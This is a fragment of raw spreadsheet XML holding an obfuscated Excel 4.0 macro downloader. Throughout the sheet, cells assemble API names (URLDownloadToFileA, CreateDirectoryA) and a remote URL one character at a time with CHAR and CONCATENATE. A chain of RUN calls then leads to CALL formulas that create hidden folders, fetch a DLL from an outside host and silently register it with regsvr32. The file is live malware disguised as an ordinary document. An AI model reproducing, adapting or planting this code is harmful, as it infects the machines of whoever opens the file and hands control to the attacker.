r="888" spans="90:221" x14ac:dyDescent="0.25"><c r="HM888" t="str"><f>CHAR($DT$1234-44)</f><v>U</v></c></row><row r="889" spans="90:221" x14ac:dyDescent="0.25"><c r="CL889" t="str"><f>CONCATENATE($HM$888,$GL$511,$FE$1710,$AD$1357,$CM$1368,$EN$173,$CZ$1961,$C$957,$CQ$1444,$DU$786,$EM$961,$EH$1375,$HJ$220,$FN$188,$FF$71,$AQ$1148,$AG$796,$DR$1122)</f><v>URLDownloadToFileA</v></c></row><row r="890" spans="90:221" x14ac:dyDescent="0.25"><c r="DN890" t="str"><f>CHAR($IB$667-534)</f><v>d</v></c></row><row r="896" spans="90:221" x14ac:dyDescent="0.25"><c r="FN896" t="b"><f>RUN($N$125)</f><v>0</v></c></row><row r="914" spans="7:198" x14ac:dyDescent="0.25"><c r="AM914" t="str"><f>CHAR($FY$1779-312)</f><v>R</v></c><c r="GP914" t="str"><f>CHAR($CE$778-312)</f><v>L</v></c></row><row r="920" spans="7:198" x14ac:dyDescent="0.25"><c r="DI920" t="str"><f>CHAR($HQ$377-312)</f><v>N</v></c></row><row r="921" spans="7:198" x14ac:dyDescent="0.25"><c r="FS921" t="b"><f>RUN($GK$1389)</f><v>0</v></c></row><row r="922" spans="7:198" x14ac:dyDescent="0.25"><c r="G922"><v>145</v></c></row><row r="938" spans="143:218" x14ac:dyDescent="0.25"><c r="EM938"><v>41</v></c></row><row r="941" spans="143:218" x14ac:dyDescent="0.25"><c r="HJ941"><v>148</v></c></row><row r="946" spans="3:210" x14ac:dyDescent="0.25"><c r="HB946" t="b"><f>RUN($S$1411)</f><v>0</v></c></row><row r="951" spans="3:210" x14ac:dyDescent="0.25"><c r="CY951"><v>581</v></c></row><row r="954" spans="3:210" x14ac:dyDescent="0.25"><c r="EK954" t="str"><f>CHAR($GZ$1100-939)</f><v>g</v></c></row><row r="957" spans="3:210" x14ac:dyDescent="0.25"><c r="C957" t="str"><f>CHAR($DP$1068-44)</f><v>l</v></c><c r="FB957" t="str"><f>CHAR($CE$6-44)</f><v>u</v></c><c r="GD957"><v>1031</v></c><c r="GK957"><v>154</v></c></row><row r="961" spans="2:207" x14ac:dyDescent="0.25"><c r="DM961" t="str"><f>CONCATENATE($FO$1573,$AK$1674)</f><v>C:\ziiVIjG\SgOfRVu\plaukbp.dll</v></c><c r="EM961" t="str"><f>CHAR($BH$1551-44)</f><v>d</v></c></row><row r="962" spans="2:207" x14ac:dyDescent="0.25"><c r="B962" t="b"><f>RUN($GS$826)</f><v>0</v></c></row><row r="967" spans="2:207" x14ac:dyDescent="0.25"><c r="BV967"><v>58</v></c><c r="GY967"><v>143</v></c></row><row r="975" spans="2:207" x14ac:dyDescent="0.25"><c r="AH975"><v>90</v></c><c r="AT975"><v>5</v></c></row><row r="979" spans="48:188" x14ac:dyDescent="0.25"><c r="DF979"><v>70</v></c></row><row r="987" spans="48:188" x14ac:dyDescent="0.25"><c r="CI987" t="b"><f>RUN($FK$1908)</f><v>0</v></c></row><row r="988" spans="48:188" x14ac:dyDescent="0.25"><c r="GF988"><v>152</v></c></row><row r="992" spans="48:188" x14ac:dyDescent="0.25"><c r="AV992" t="b"><f>RUN($FU$1036)</f><v>0</v></c></row><row r="993" spans="100:198" x14ac:dyDescent="0.25"><c r="CV993"><v>11</v></c></row><row r="994" spans="100:198" x14ac:dyDescent="0.25"><c r="DO994" t="b"><f>RUN($CZ$217)</f><v>0</v></c></row><row r="996" spans="100:198" x14ac:dyDescent="0.25"><c r="GP996" t="str"><f>CHAR($EQ$1151-534)</f><v>t</v></c></row><row r="1007" spans="100:198" x14ac:dyDescent="0.25"><c r="FG1007"><v>64</v></c></row><row r="1023" spans="233:233" x14ac:dyDescent="0.25"><c r="HY1023"><v>24</v></c></row><row r="1027" spans="9:232" x14ac:dyDescent="0.25"><c r="HX1027" t="b"><f>RUN($EX$39)</f><v>0</v></c></row><row r="1028" spans="9:232" x14ac:dyDescent="0.25"><c r="AK1028" t="b"><f>RUN($DD$1457)</f><v>0</v></c></row><row r="1029" spans="9:232" x14ac:dyDescent="0.25"><c r="CJ1029" t="b"><f>RUN($BZ$776)</f><v>0</v></c></row><row r="1034" spans="9:232" x14ac:dyDescent="0.25"><c r="DY1034" t="str"><f>CHAR($BZ$622-312)</f><v>2</v></c><c r="GH1034" t="str"><f>CHAR($HQ$1896-312)</f><v>e</v></c></row><row r="1036" spans="9:232" x14ac:dyDescent="0.25"><c r="BO1036"><v>1025</v></c><c r="DR1036"><v>71</v></c><c r="FU1036" t="b"><f>RUN($FA$800)</f><v>0</v></c></row><row r="1039" spans="9:232" x14ac:dyDescent="0.25"><c r="I1039" t="str"><f>CHAR($GV$1915-534)</f><v>p</v></c><c r="EF1039"><v>165</v></c></row><row r="1040" spans="9:232" x14ac:dyDescent="0.25"><c r="DG1040"><v>25</v></c><c r="GM1040"><v>72</v></c></row><row r="1050" spans="22:197" x14ac:dyDescent="0.25"><c r="ER1050"><v>90</v></c></row><row r="1053" spans="22:197" x14ac:dyDescent="0.25"><c r="V1053"><v>12</v></c><c r="FM1053"><v>145</v></c><c r="GO1053" t="b"><f>RUN($FR$643)</f><v>0</v></c></row><row r="1055" spans="22:197" x14ac:dyDescent="0.25"><c r="GK1055" t="b"><f>RUN($FX$857)</f><v>0</v></c></row><row r="1057" spans="73:207" x14ac:dyDescent="0.25"><c r="FZ1057" t="str"><f>CHAR($FJ$376-534)</f><v>/</v></c></row><row r="1059" spans="73:207" x14ac:dyDescent="0.25"><c r="GM1059"><v>1025</v></c></row><row r="1060" spans="73:207" x14ac:dyDescent="0.25"><c r="FL1060" t="str"><f>CHAR($CN$1093-939)</f><v>C</v></c></row><row r="1065" spans="73:207" x14ac:dyDescent="0.25"><c r="BU1065" t="str"><f>CHAR($EO$1851-44)</f><v>e</v></c><c r="EI1065" t="b"><f>RUN($FS$587)</f><v>0</v></c></row><row r="1066" spans="73:207" x14ac:dyDescent="0.25"><c r="EM1066"><v>2</v></c></row><row r="1068" spans="73:207" x14ac:dyDescent="0.25"><c r="DP1068"><v>152</v></c></row><row r="1069" spans="73:207" x14ac:dyDescent="0.25"><c r="GY1069"><v>155</v></c></row><row r="1073" spans="5:187" x14ac:dyDescent="0.25"><c r="DR1073"><v>10</v></c></row><row r="1074" spans="5:187" x14ac:dyDescent="0.25"><c r="E1074" t="str"><f>CONCATENATE($BH$1622)</f><v>URLMON</v></c></row><row r="1082" spans="5:187" x14ac:dyDescent="0.25"><c r="GE1082"><v>70</v></c></row><row r="1088" spans="5:187" x14ac:dyDescent="0.25"><c r="DI1088" t="b"><f>RUN($FI$1944)</f><v>0</v></c></row><row r="1093" spans="92:208" x14ac:dyDescent="0.25"><c r="CN1093"><v>1006</v></c></row><row r="1100" spans="92:208" x14ac:dyDescent="0.25"><c r="GZ1100"><v>1042</v></c></row><row r="1115" spans="151:204" x14ac:dyDescent="0.25"><c r="GF1115" t="str"><f>CHAR($AO$1826-534)</f><v>9</v></c></row><row r="1116" spans="151:204" x14ac:dyDescent="0.25"><c r="GV1116" t="b"><f>RUN($P$1362)</f><v>0</v></c></row><row r="1119" spans="151:204" x14ac:dyDescent="0.25"><c r="EU1119"><v>10</v></c><c r="FF1119" t="b"><f>RUN($AK$1028)</f><v>0</v></c></row><row r="1122" spans="3:232" x14ac:dyDescent="0.25"><c r="DR1122" t="str"><f>CHAR($HE$1358-44)</f><v>A</v></c></row><row r="1128" spans="3:232" x14ac:dyDescent="0.25"><c r="FM1128" t="b"><f>RUN($BF$733)</f><v>0</v></c><c r="HX1128" t="str"><f>CHAR($HP$73-44)</f><v>t</v></c></row><row r="1129" spans="3:232" x14ac:dyDescent="0.25"><c r="C1129" t="b"><f>RUN($EA$1208)</f><v>0</v></c></row><row r="1136" spans="3:232" x14ac:dyDescent="0.25"><c r="GZ1136" t="b"><f>RUN($AA$1213)</f><v>0</v></c></row><row r="1144" spans="37:223" x14ac:dyDescent="0.25"><c r="AK1144" t="b"><f>RUN($CF$399)</f><v>0</v></c></row><row r="1145" spans="37:223" x14ac:dyDescent="0.25"><c r="FX1145"><v>1037</v></c></row><row r="1146" spans="37:223" x14ac:dyDescent="0.25"><c r="HL1146" t="b"><f>RUN($T$490)</f><v>0</v></c></row><row r="1148" spans="37:223" x14ac:dyDescent="0.25"><c r="AQ1148" t="str"><f>CHAR($AY$580-44)</f><v>l</v></c><c r="CL1148" t="str"><f>CHAR($FJ$9-312)</f><v>O</v></c><c r="EA1148"><v>1012</v></c><c r="GD1148" t="b"><f>RUN($FP$1440)</f><v>0</v></c></row><row r="1149" spans="37:223" x14ac:dyDescent="0.25"><c r="DK1149"><v>111</v></c><c r="HO1149"><v>7</v></c></row><row r="1151" spans="37:223" x14ac:dyDescent="0.25"><c r="EQ1151"><v>650</v></c></row><row r="1154" spans="80:80" x14ac:dyDescent="0.25"><c r="CB1154" t="b"><f>RUN($HU$1305)</f><v>0</v></c></row><row r="1178" spans="5:5" x14ac:dyDescent="0.25"><c r="E1178"><v>1031</v></c></row><row r="1187" spans="134:134" x14ac:dyDescent="0.25"><c r="ED1187"><v>997</v></c></row><row r="1201" spans="5:186" x14ac:dyDescent="0.25"><c r="DL1201" t="str"><f>CONCATENATE($CL$889)</f><v>URLDownloadToFileA</v></c></row><row r="1205" spans="5:186" x14ac:dyDescent="0.25"><c r="CU1205" t="b"><f>RUN($BC$1372)</f><v>0</v></c><c r="GD1205" t="str"><f>CONCATENATE($EN$1211)</f><v>CreateDirectoryA</v></c></row><row r="1207" spans="5:186" x14ac:dyDescent="0.25"><c r="FV1207"><v>1046</v></c></row><row r="1208" spans="5:186" x14ac:dyDescent="0.25"><c r="AG1208"><v>128</v></c><c r="EA1208" t="b"><f>RUN($GD$1148)</f><v>0</v></c></row><row r="1210" spans="5:186" x14ac:dyDescent="0.25"><c r="E1210"><v>582</v></c></row><row r="1211" spans="5:186" x14ac:dyDescent="0.25"><c r="EN1211" t="str"><f>CONCATENATE($FQ$1347,$ER$1929,$AK$1312,$FU$779,$CK$1945,$IO$1621,$DS$1962,$Z$1851,$IN$1266,$BU$1065,$Z$1693,$HX$1128,$GZ$461,$ID$767,$DQ$162,$HB$119)</f><v>CreateDirectoryA</v></c></row><row r="1213" spans="5:186" x14ac:dyDescent="0.25"><c r="AA1213" t="b"><f>RUN($FH$433)</f><v>0</v></c></row><row r="1215" spans="5:186" x14ac:dyDescent="0.25"><c r="FH1215"><v>145</v></c></row><row r="1220" spans="28:169" x14ac:dyDescent="0.25"><c r="EG1220" t="str"><f>CHAR($ED$1187-939)</f><v>:</v></c></row><row r="1222" spans="28:169" x14ac:dyDescent="0.25"><c r="ER1222"><v>145</v></c></row><row r="1223" spans="28:169" x14ac:dyDescent="0.25"><c r="CO1223" t="b"><f>RUN($BN$458)</f><v>0</v></c></row><row r="1227" spans="28:169" x14ac:dyDescent="0.25"><c r="AB1227"><v>98</v></c></row><row r="1230" spans="28:169" x14ac:dyDescent="0.25"><c r="AI1230"><v>1</v></c></row><row r="1231" spans="28:169" x14ac:dyDescent="0.25"><c r="FM1231" t="str"><f>CHAR($HU$1691-312)</f><v>3</v></c></row><row r="1234" spans="52:143" x14ac:dyDescent="0.25"><c r="DT1234"><v>129</v></c></row><row r="1238" spans="52:143" x14ac:dyDescent="0.25"><c r="AZ1238"><v>156</v></c></row><row r="1241" spans="52:143" x14ac:dyDescent="0.25"><c r="EM1241"><v>43</v></c></row><row r="1265" spans="3:248" x14ac:dyDescent="0.25"><c r="C1265"><v>81</v></c></row><row r="1266" spans="3:248" x14ac:dyDescent="0.25"><c r="IN1266" t="str"><f>CHAR($CR$835-44)</f><v>r</v></c></row><row r="1269" spans="3:248" x14ac:dyDescent="0.25"><c r="IE1269" t="str"><f>CHAR($EF$1829-534)</f><v>t</v></c></row><row r="1270" spans="3:248" x14ac:dyDescent="0.25"><c r="AQ1270" t="b"><f>RUN($EX$1705)</f><v>0</v></c></row><row r="1279" spans="3:248" x14ac:dyDescent="0.25"><c r="AG1279" t="b"><f>RUN($CW$244)</f><v>0</v></c></row><row r="1302" spans="37:229" x14ac:dyDescent="0.25"><c r="DI1302"><v>362</v></c></row><row r="1303" spans="37:229" x14ac:dyDescent="0.25"><c r="GU1303"><v>649</v></c></row><row r="1305" spans="37:229" x14ac:dyDescent="0.25"><c r="HU1305" t="b"><f>RUN($AA$1454)</f><v>0</v></c></row><row r="1310" spans="37:229" x14ac:dyDescent="0.25"><c r="DB1310" t="b"><f>RUN($EE$770)</f><v>0</v></c><c r="FH1310"><f>CALL($DU$525,$GD$1205,"JCJ","C:\ziiVIjG",0)</f><v>1</v></c></row><row r="1311" spans="37:229" x14ac:dyDescent="0.25"><c r="FH1311"><f>CALL($DU$525,$GD$1205,"JCJ","C:\ziiVIjG\SgOfRVu",0)</f><v>1</v></c></row><row r="1312" spans="37:229" x14ac:dyDescent="0.25"><c r="AK1312" t="str"><f>CHAR($G$922-44)</f><v>e</v></c><c r="FH1312"><f>CALL($E$1074,$DL$1201, "JJCCJJ",0,$BB$54,$DM$961,0,0)</f><v>0</v></c></row><row r="1313" spans="90:239" x14ac:dyDescent="0.25"><c r="FH1313"><f>CALL($IH$1586,$CH$1975, "JJCCCCJ",0,$AI$1891,"regsvr32"," -s "&$DM$961,0,0)</f><v>42</v></c></row><row r="1318" spans="90:239" x14ac:dyDescent="0.25"><c r="FH1318" t="b"><f>HALT()</f><v>1</v></c></row><row r="1320" spans="90:239" x14ac:dyDescent="0.25"><c r="CL1320"><v>7</v></c></row><row r="1321" spans="90:239" x14ac:dyDescent="0.25"><c r="HX1321" t="b"><f>RUN($FM$786)</f><v>0</v></c></row><row r="1323" spans="90:239" x14ac:dyDescent="0.25"><c r="FR1323" t="b"><f>RUN($HL$1146)</f><v>0</v></c><c r="GE1323"><v>160</v></c><c r="IE1323"><v>63</v></c></row><row r="1332" spans="30:162" x14ac:dyDescent="0.25"><c r="EY1332"><v>15</v></c></row><row r="1333" spans="30:162" x14ac:dyDescent="0.25"><c r="AD1333" t="b"><f>RUN($DO$994)</f><v>0</v></c></row><row r="1334" spans="30:162" x14ac:dyDescent="0.25"><c r="FF1334" t="b"><f>RUN($V$590)</f><v>0</v></c></row><row r="1339" spans="30:162" x14ac:dyDescent="0.25"><c r="BA1339" t="str"><f>CHAR($HU$1812-312)</f><v>l</v></c></row><row r="1347" spans="30:213" x14ac:dyDescent="0.25"><c r="FQ1347" t="str"><f>CHAR($DK$1149-44)</f><v>C</v></c></row><row r="1348" spans="30:213" x14ac:dyDescent="0.25"><c r="BY1348"><v>11</v></c></row><row r="1350" spans="30:213" x14ac:dyDescent="0.25"><c r="AF1350" t="str"><f>CONCATENATE($DJ$1624,$GP$996,$IE$1269,$AP$313,$S$1804,$AQ$703,$CV$1542,$EU$524,$Z$1693,$CC$587,$DI$920,$HI$419,$E$423,$GP$914,$GP$996,$CU$1714,$DI$920,$EK$954,$DZ$106,$ID$767,$EL$52,$BG$1872,$CC$587,$EM$1643,)</f><v>https://coNsaLtiNger.coM</v></c></row><row r="1355" spans="30:213" x14ac:dyDescent="0.25"><c r="GE1355"><v>98</v></c></row><row r="1357" spans="30:213" x14ac:dyDescent="0.25"><c r="AD1357" t="str"><f>CHAR($DP$1679-44)</f><v>D</v></c></row><row r="1358" spans="30:213" x14ac:dyDescent="0.25"><c r="HE1358"><v>109</v></c></row><row r="1360" spans="30:213" x14ac:dyDescent="0.25"><c r="AR1360"><v>42</v></c></row><row r="1361" spans="16:246" x14ac:dyDescent="0.25"><c r="IL1361"><v>23</v></c></row><row r="1362" spans="16:246" x14ac:dyDescent="0.25"><c r="P1362" t="b"><f>RUN($FE$1739)</f><v>0</v></c></row><row r="1363" spans="16:246" x14ac:dyDescent="0.25"><c r="CJ1363" t="b"><f>RUN($DL$1777)</f><v>0</v></c><c r="DC1363" t="str"><f>CHAR($AE$529-939)</f><v>l</v></c></row><row r="1367" spans="16:246" x14ac:dyDescent="0.25"><c r="DK1367"><v>54</v></c></row><row r="1368" spans="16:246" x14ac:dyDescent="0.25"><c r="CM1368" t="str"><f>CHAR($CV$7-44)</f><v>o</v></c><c r="GV1368" t="str"><f>CHAR($GD$957-939)</f><v>\</v></c></row><row r="1372" spans="16:246" x14ac:dyDescent="0.25"><c r="BC1372" t="b"><f>RUN($HX$1027)</f><v>0</v></c></row><row r="1375" spans="16:246" x14ac:dyDescent="0.25"><c r="EH1375" t="str"><f>CHAR($AG$1208-44)</f><v>T</v></c></row><row r="1379" spans="99:193" x14ac:dyDescent="0.25"><c r="CU1379"><v>582</v></c></row><row r="1389" spans="99:193" x14ac:dyDescent="0.25"><c r="GK1389" t="b"><f>RUN($IG$1393)</f><v>0</v></c></row><row r="1393" spans="81:241" x14ac:dyDescent="0.25"><c r="CC1393"><v>591</v></c><c r="IG1393" t="b"><f>RUN($CM$1498)</f><v>0</v></c></row><row r="1408" spans="81:241" x14ac:dyDescent="0.25"><c r="HN1408"><v>2</v></c></row><row r="1411" spans="19:201" x14ac:dyDescent="0.25"><c r="S1411" t="b"><f>RUN($IG$1492)</f><v>0</v></c></row><row r="1414" spans="19:201" x14ac:dyDescent="0.25"><c r="GS1414"><v>19</v></c></row><row r="1415" spans="19:201" x14ac:dyDescent="0.25"><c r="DY1415" t="str"><f>CHAR($FU$58-534)</f><v>9</v></c></row><row r="1417" spans="19:201" x14ac:dyDescent="0.25"><c r="AM1417"><v>54</v></c><c r="ED1417"><v>426</v></c></row><row r="1424" spans="19:201" x14ac:dyDescent="0.25"><c r="DL1424"><v>46</v></c></row><row r="1427" spans="62:182" x14ac:dyDescent="0.25"><c r="FY1427" t="b"><f>RUN($EA$1699)</f><v>0</v></c></row><row r="1436" spans="62:182" x14ac:dyDescent="0.25"><c r="BJ1436" t="str"><f>CHAR($AF$1914-44)</f><v>E</v></c></row><row r="1440" spans="62:182" x14ac:dyDescent="0.25"><c r="FP1440" t="b"><f>RUN($FQ$534)</f><v>0</v></c><c r="FZ1440"><v>34</v></c></row><row r="1441" spans="27:172" x14ac:dyDescent="0.25"><c r="AB1441"><v>58</v></c></row><row r="1444" spans="27:172" x14ac:dyDescent="0.25"><c r="CQ1444" t="str"><f>CHAR($GY$1069-44)</f><v>o</v></c></row><row r="1445" spans="27:172" x14ac:dyDescent="0.25"><c r="DC1445" t="str"><f>CHAR($CC$1393-534)</f><v>9</v></c></row><row r="1447" spans="27:172" x14ac:dyDescent="0.25"><c r="FP1447"><v>155</v></c></row><row r="1451" spans="27:172" x14ac:dyDescent="0.25"><c r="ET1451"><v>145</v></c></row><row r="1452" spans="27:172" x14ac:dyDescent="0.25"><c r="CF1452" t="b"><f>RUN($GX$1833)</f><v>0</v></c></row><row r="1454" spans="27:172" x14ac:dyDescent="0.25"><c r="AA1454" t="b"><f>RUN($CF$1452)</f><v>0</v></c></row><row r="1457" spans="4:114" x14ac:dyDescent="0.25"><c r="DD1457" t="b"><f>RUN($HU$1839)</f><v>0</v></c></row><row r="1464" spans="4:114" x14ac:dyDescent="0.25"><c r="D1464" t="b"><f>RUN($EU$215)</f><v>0</v></c></row><row r="1465" spans="4:114" x14ac:dyDescent="0.25"><c r="DJ1465"><v>43</v></c></row><row r="1483" spans="189:231" x14ac:dyDescent="0.25"><c r="HW1483"><v>37</v></c></row><row r="1484" spans="189:231" x14ac:dyDescent="0.25"><c r="GG1484"><v>49</v></c></row><row r="1492" spans="91:241" x14ac:dyDescent="0.25"><c r="IG1492" t="b"><f>RUN($DS$773)</f><v>0</v></c></row><row r="1498" spans="91:241" x14ac:dyDescent="0.25"><c r="CM1498" t="b"><f>RUN($EI$1065)</f><v>0</v></c><c r="IG1498" t="str"><f>CHAR($CU$1379-534)</f><v>0</v></c></row><row r="1506" spans="25:197" x14ac:dyDescent="0.25"><c r="AI1506" t="str"><f>CHAR($CW$1633-44)</f><v>A</v></c></row><row r="1507" spans="25:197" x14ac:dyDescent="0.25"><c r="Y1507" t="str"><f>CHAR($HF$772-939)</f><v>p</v></c></row><row r="1508" spans="25:197" x14ac:dyDescent="0.25"><c r="GG1508"><v>127</v></c></row><row r="1516" spans="25:197" x14ac:dyDescent="0.25"><c r="CZ1516"><v>581</v></c></row><row r="1520" spans="25:197" x14ac:dyDescent="0.25"><c r="GO1520"><v>85</v></c></row><row r="1530" spans="26:196" x14ac:dyDescent="0.25"><c r="Z1530" t="b"><f>RUN($DB$1310)</f><v>0</v></c></row><row r="1534" spans="26:196" x14ac:dyDescent="0.25"><c r="GN1534"><v>62</v></c></row><row r="1535" spans="26:196" x14ac:dyDescent="0.25"><c r="DN1535"><v>579</v></c></row><row r="1536" spans="26:196" x14ac:dyDescent="0.25"><c r="AW1536" t="b"><f>RUN($FS$921)</f><v>0</v></c></row><row r="1542" spans="60:197" x14ac:dyDescent="0.25"><c r="CV1542" t="str"><f>CHAR($CZ$1516-534)</f><v>/</v></c></row><row r="1547" spans="60:197" x14ac:dyDescent="0.25"><c r="CF1547"><v>31</v></c></row><row r="1551" spans="60:197" x14ac:dyDescent="0.25"><c r="BH1551"><v>144</v></c><c r="GO1551"><v>580</v></c></row><row r="1553" spans="110:236" x14ac:dyDescent="0.25"><c r="DW1553"><v>1044</v></c><c r="HF1553"><v>65</v></c></row><row r="1554" spans="110:236" x14ac:dyDescent="0.25"><c r="IB1554" t="str"><f>CHAR($AU$1715-534)</f><v>r</v></c></row><row r="1561" spans="110:236" x14ac:dyDescent="0.25"><c r="DF1561"><v>99</v></c></row><row r="1563" spans="110:236" x14ac:dyDescent="0.25"><c r="HG1563" t="b"><f>RUN($AQ$1270)</f><v>0</v></c></row><row r="1567" spans="110:236" x14ac:dyDescent="0.25"><c r="EE1567"><v>62</v></c><c r="GI1567"><v>42</v></c></row><row r="1569" spans="9:171" x14ac:dyDescent="0.25"><c r="EQ1569"><v>32</v></c></row><row r="1571" spans="9:171" x14ac:dyDescent="0.25"><c r="AC1571"><v>126</v></c></row><row r="1573" spans="9:171" x14ac:dyDescent="0.25"><c r="FO1573" t="str"><f>CONCATENATE($FL$1060,$EG$1220,$GV$1368,$GB$1954,$CU$1714,$HH$1866,$BZ$105,$CT$840,$AP$1891,$CZ$195,$DV$457,$AT$1984,$EK$954,$BU$65,$FV$1800,$DL$1828,$FD$66,$EY$599,$CK$1632,$EH$505,$HH$312,$AS$1707,$DZ$1578,$EX$1612,$DR$1634,$Y$1507,$EL$52,$G$837,$DC$1363)</f><v>C:\ziiVIjG\SgOfRVu\plaukbp.dl</v></c></row><row r="1578" spans="9:171" x14ac:dyDescent="0.25"><c r="DZ1578" t="str"><f>CHAR($AH$746-939)</f><v>u</v></c></row><row r="1583" spans="9:171" x14ac:dyDescent="0.25"><c r="I1583" t="b"><f>RUN($EF$472)</f><v>0</v></c></row><row r="1586" spans="113:242" x14ac:dyDescent="0.25"><c r="IH1586" t="str"><f>CONCATENATE($AL$1826)</f><v>Shell32</v></c></row><row r="1588" spans="113:242" x14ac:dyDescent="0.25"><c r="DI1588"><v>149</v></c></row><row r="1595" spans="113:242" x14ac:dyDescent="0.25"><c r="EB1595"><v>67</v></c></row><row r="1612" spans="154:154" x14ac:dyDescent="0.25"><c r="EX1612" t="str"><f>CHAR($FV$1207-939)</f><v>k</v></c></row><row r="1621" spans="12:249" x14ac:dyDescent="0.25"><c r="FE1621"><v>67</v></c><c r="IO1621" t="str"><f>CHAR($FQ$752-44)</f><v>e</v></c></row><row r="1622" spans="12:249" x14ac:dyDescent="0.25"><c r="BH1622" t="str"><f>CONCATENATE($EX$1690,$AM$914,$GP$914,$EM$1643,$CL$1148,$DI$920)</f><v>URLMON</v></c></row><row r="1624" spans="12:249" x14ac:dyDescent="0.25"><c r="DJ1624" t="str"><f>CHAR($GQ$21-534)</f><v>h</v></c></row><row r="1631" spans="12:249" x14ac:dyDescent="0.25"><c r="L1631"><v>0</v></c></row><row r="1632" spans="12:249" x14ac:dyDescent="0.25"><c r="CK1632" t="str"><f>CHAR($E$1178-939)</f><v>\</v></c></row><row r="1633" spans="3:232" x14ac:dyDescent="0.25"><c r="CW1633"><v>109</v></c></row><row r="1634" spans="3:232" x14ac:dyDescent="0.25"><c r="DR1634" t="str"><f>CHAR($FX$1145-939)</f><v>b</v></c></row><row r="1635" spans="3:232" x14ac:dyDescent="0.25"><c r="HD1635"><v>1031</v></c></row><row r="1640" spans="3:232" x14ac:dyDescent="0.25"><c r="FK1640"><v>22</v></c><c r="HX1640" t="str"><f>CHAR($ET$1451-44)</f><v>e</v></c></row><row r="1643" spans="3:232" x14ac:dyDescent="0.25"><c r="EM1643" t="str"><f>CHAR($IM$1976-312)</f><v>M</v></c></row><row r="1647" spans="3:232" x14ac:dyDescent="0.25"><c r="C1647"><v>72</v></c></row><row r="1653" spans="126:244" x14ac:dyDescent="0.25"><c r="IJ1653"><v>22</v></c></row><row r="1654" spans="126:244" x14ac:dyDescent="0.25"><c r="DV1654" t="b"><f>RUN($CG$806)</f><v>0</v></c></row><row r="1657" spans="126:244" x14ac:dyDescent="0.25"><c r="EI1657"><v>1</v></c></row><row r="1666" spans="8:240" x14ac:dyDescent="0.25"><c r="GN1666" t="str"><f>CHAR($AC$73-534)</f><v>t</v></c></row><row r="1668" spans="8:240" x14ac:dyDescent="0.25"><c r="H1668"><v>17</v></c><c r="IF1668"><v>413</v></c></row><row r="1672" spans="8:240" x14ac:dyDescent="0.25"><c r="AH1672" t="str"><f>CHAR($CO$723-534)</f><v>/</v></c></row><row r="1674" spans="8:240" x14ac:dyDescent="0.25"><c r="AK1674" t="str"><f>CONCATENATE($AD$140)</f><v>l</v></c></row><row r="1679" spans="8:240" x14ac:dyDescent="0.25"><c r="DP1679"><v>112</v></c></row><row r="1681" spans="25:249" x14ac:dyDescent="0.25"><c r="DW1681" t="str"><f>CHAR($CM$533-534)</f><v>l</v></c></row><row r="1685" spans="25:249" x14ac:dyDescent="0.25"><c r="Y1685"><v>30</v></c></row><row r="1686" spans="25:249" x14ac:dyDescent="0.25"><c r="BY1686"><v>160</v></c></row><row r="1689" spans="25:249" x14ac:dyDescent="0.25"><c r="CV1689"><v>42</v></c></row><row r="1690" spans="25:249" x14ac:dyDescent="0.25"><c r="EX1690" t="str"><f>CHAR($CP$73-312)</f><v>U</v></c></row><row r="1691" spans="25:249" x14ac:dyDescent="0.25"><c r="HU1691"><v>363</v></c></row><row r="1693" spans="25:249" x14ac:dyDescent="0.25"><c r="Z1693" t="str"><f>CHAR($EK$1858-44)</f><v>c</v></c></row><row r="1696" spans="25:249" x14ac:dyDescent="0.25"><c r="IO1696" t="str"><f>CHAR($E$1210-534)</f><v>0</v></c></row><row r="1699" spans="45:161" x14ac:dyDescent="0.25"><c r="EA1699" t="b"><f>RUN($GO$1053)</f><v>0</v></c></row><row r="1705" spans="45:161" x14ac:dyDescent="0.25"><c r="EX1705" t="b"><f>RUN($IL$408)</f><v>0</v></c></row><row r="1707" spans="45:161" x14ac:dyDescent="0.25"><c r="AS1707" t="str"><f>CHAR($HZ$1804-939)</f><v>a</v></c></row><row r="1709" spans="45:161" x14ac:dyDescent="0.25"><c r="BR1709"><v>158</v></c></row><row r="1710" spans="45:161" x14ac:dyDescent="0.25"><c r="FE1710" t="str"><f>CHAR($DZ$376-44)</f><v>L</v></c></row><row r="1714" spans="47:100" x14ac:dyDescent="0.25"><c r="CU1714" t="str"><f>CHAR($AA$819-939)</f><v>i</v></c></row><row r="1715" spans="47:100" x14ac:dyDescent="0.25"><c r="AU1715"><v>648</v></c></row><row r="1716" spans="47:100" x14ac:dyDescent="0.25"><c r="CV1716" t="str"><f>CHAR($DN$1535-534)</f><v>-</v></c></row><row r="1729" spans="25:166" x14ac:dyDescent="0.25"><c r="Y1729"><v>98</v></c></row><row r="1733" spans="25:166" x14ac:dyDescent="0.25"><c r="FJ1733"><v>94</v></c></row><row r="1739" spans="25:166" x14ac:dyDescent="0.25"><c r="FE1739" t="b"><f>RUN($HS$609)</f><v>0</v></c></row><row r="1746" spans="30:163" x14ac:dyDescent="0.25"><c r="AD1746" t="str"><f>CHAR($BN$514-44)</f><v>e</v></c></row><row r="1753" spans="30:163" x14ac:dyDescent="0.25"><c r="FG1753" t="b"><f>RUN($CY$8)</f><v>0</v></c></row><row r="1761" spans="53:198" x14ac:dyDescent="0.25"><c r="FS1761"><v>1039</v></c></row><row r="1765" spans="53:198" x14ac:dyDescent="0.25"><c r="BA1765"><v>420</v></c></row><row r="1767" spans="53:198" x14ac:dyDescent="0.25"><c r="CG1767"><v>1045</v></c></row><row r="1775" spans="53:198" x14ac:dyDescent="0.25"><c r="GP1775" t="str"><f>CHAR($BR$593-44)</f><v>l</v></c></row><row r="1777" spans="87:200" x14ac:dyDescent="0.25"><c r="DL1777" t="b"><f>RUN($DG$810)</f><v>0</v></c></row><row r="1779" spans="87:200" x14ac:dyDescent="0.25"><c r="FY1779"><v>394</v></c></row><row r="1782" spans="87:200" x14ac:dyDescent="0.25"><c r="GR1782"><v>363</v></c></row><row r="1791" spans="87:200" x14ac:dyDescent="0.25"><c r="CI1791"><v>62</v></c></row><row r="1800" spans="5:234" x14ac:dyDescent="0.25"><c r="E1800" t="str"><f>CHAR($HJ$941-44)</f><v>h</v></c><c r="FV1800" t="str"><f>CHAR($HG$1808-939)</f><v>f</v></c></row><row r="1804" spans="5:234" x14ac:dyDescent="0.25"><c r="S1804" t="str"><f>CHAR($GU$1303-534)</f><v>s</v></c><c r="HZ1804"><v>1036</v></c></row><row r="1808" spans="5:234" x14ac:dyDescent="0.25"><c r="HG1808"><v>1041</v></c></row><row r="1812" spans="172:229" x14ac:dyDescent="0.25"><c r="HF1812" t="str"><f>CHAR($FL$321-44)</f><v>n</v></c><c r="HU1812"><v>420</v></c></row><row r="1816" spans="172:229" 